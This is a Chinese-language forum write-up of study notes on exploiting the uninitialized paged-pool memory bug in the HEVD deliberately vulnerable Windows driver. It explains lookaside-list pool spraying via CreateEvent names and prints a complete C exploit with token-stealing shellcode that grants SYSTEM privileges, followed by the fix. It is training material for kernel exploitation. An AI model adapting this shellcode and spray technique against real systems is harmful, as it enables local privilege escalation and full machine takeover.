-
-
[原创]初探内核漏洞:HEVD学习笔记——UninitializedMemoryPagedPool
-
2022-7-20 19:55 9494
-
HEVD学习笔记——UninitializedMemoryPagedPool
Win 10 64位 主机 + win 7 32位虚拟机
调试器:Windbg
工具:VirtualKD-3.0、IDA
目标驱动:HEVD
漏洞原理
池块的指针未初始化为NULL时,会指向池块上的脏数据,若不加判断对其进行调用,会导致不可预知的后果。
漏洞定位
反汇编TriggerUninitializedMemoryPagedPool函数,可以看到,先使用ExAllocatePoolWithTag在分页池中申请了内容大小为0xF0的池块,定义为UNINITIALIZE_MEMORY_POOL结构,将指针保存到UninitializedMemory中。若池块申请成功,即UninitializedMemory不为NULL的情况下,验证用户缓冲区是否为0x0BAD0B0B0h,若不是,调用UninitializedMemory->Callback()。
明显,程序并未对UninitializedMemory指向的池块的内容进行初始化和赋值,那么UninitializedMemory->Callback()将访问池块里的脏数据并执行。如果我们能控制池块里的脏数据为shellcode地址,就能利用这个漏洞。
漏洞利用
如何控制池块中的数据呢?
这里要来理解一下Lookaside List
的概念。Lookaside List提供了一个比较简单的提高小块内存分配和申请效率的机制,用来进行固定大小内存块的小内存块的动态申请和释放。当我们使用 ExAllocatePoolWithTag 申请一个小块内存(<256字节
)时,系统会首先尝试从KPRCB
中的PP(N)PagedLookasideList
分配内存。
Lookaside List的结构
看KPRCB的结构,分页内存和非分页内存各自有一个lookaside列表。lookaside列表中的块最大为256字节,大小以8字节递增,所以每个lookaside列表共有32个节点,每个节点是一条相同大小的块组成的单向链表。
每个节点定义成GENERAL_LOOKASIDE_POOL 结构,节点之间通过LIST_ENTRY形成双向链表。节点内部通过SINGLE_LIST_ENTRY将大小相同的块组织成单向链表。MaximumDepth为单链中块的最多个数,默认为256.
每个块的上方还有一个8字节的HEADER。
控制池块数据
我们的UNINITIALIZED_MEMORY_POOL
结构的大小是0xF0(240)
,所以需要240+8=248
字节的空间,小于256字节,将在Lookaside List中申请。接下来我们要做的就是想办法在Lookaside List中248字节的块的内容部分+0x4偏移处填入shellcode地址。
想起我们在非分页池溢出漏洞利用时使用CreateEvent
函数创建EVENT对象进行非分页池喷射,这里依然使用CreateEvent。虽然EVENT对象在非分页池中,但是第四个参数lpName是在分页池中的
,我们可以利用lpName将分页池设置成我们需要的数据。
我们使用CreateEvent创建256
个EVENT(因为lookaside list上最多256个相同大小的块),每个lpName的0x4
字节处写入shellcode地址,注意控制lpName不能相同(内存中相同的字符串只会存一个),然后CloseHandle释放池块,这样256个248字节的池块中就全部充满我们构造的数据了。
根据程序逻辑,我们随便传入不为0x0BAD0B0B的用户缓冲区即可触发漏洞.
注意:lpName要做附非0的值,因为字符串会有00截断
完整利用代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | #include<stdio.h> #include<Windows.h> / / 1. 设置符号链接名称 #define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver" / / 2. 控制码定义(与 0 环一样) #define HEVD_UNINITIALIZED_MEMORY_PAGED_POOL 0x222033 static VOID shellcode() { / / No Need of Kernel Recovery as we are not corrupting anything __asm { / / int 3 nop pushad; Save registers state ; Start of Token Stealing Stub xor eax, eax; Set ZERO mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread ; _KTHREAD is located at FS : [ 0x124 ] mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process mov ecx, eax; Copy current process _EPROCESS structure mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp [eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token ; with SYSTEM process nt!_EPROCESS.Token ; End of Token Stealing Stub popad; Restore registers state ret } } VOID EXP_UninitializedMemoryPagedPool() { / / 3.CreateFile 打开符号链接得到设备句柄 HANDLE hDevice = NULL; hDevice = CreateFile(DEVICE_LINK_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); if (hDevice = = INVALID_HANDLE_VALUE) { printf( "[-] Error - Unable to obtain a handle to the driver, error code %d\n" , GetLastError()); exit( 1 ); } / / 4.DeviceIoControl 给 0 环发请求并接收返回结果 char lpName[ 0xf0 ] = { 0 }; / / 一个 Unicode 是 2 个字节 memset(lpName, 0x41 , 0xf0 ); HANDLE Event_OBJECT[ 256 ]; / / 固定最多 256 个块 for ( int i = 0 ; i < 256 ; i + + ) { * (PDWORD)((PCHAR)lpName + 0x4 ) = (DWORD)shellcode; / / Callback成员_UNINITIALIZED_MEMORY_POOL结构体 + 0x4 上 * (PDWORD)((PCHAR)lpName + 0xf0 - 4 ) = i; Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)lpName); } for ( int i = 0 ; i < 256 ; i + + ) { CloseHandle(Event_OBJECT[i]); / / 将创建的池块释放 } DWORD dwRet = 0 ; char exp_NullPointerDereference[ 4 ] = { 0 }; memset(exp_NullPointerDereference, 'A' , sizeof(exp_NullPointerDereference)); DeviceIoControl(hDevice, HEVD_UNINITIALIZED_MEMORY_PAGED_POOL, exp_NullPointerDereference, \ 4 , NULL, 0 , &dwRet, NULL); system( "cmd.exe" ); } int main() { EXP_UninitializedMemoryPagedPool(); return 0 ; } |
运行客户端程序,提权成功:
漏洞修复
判断用户输入不为特定值之后,调用ExFreePoolWithTag
释放池块,并将UninitializedMemory设置为NULL。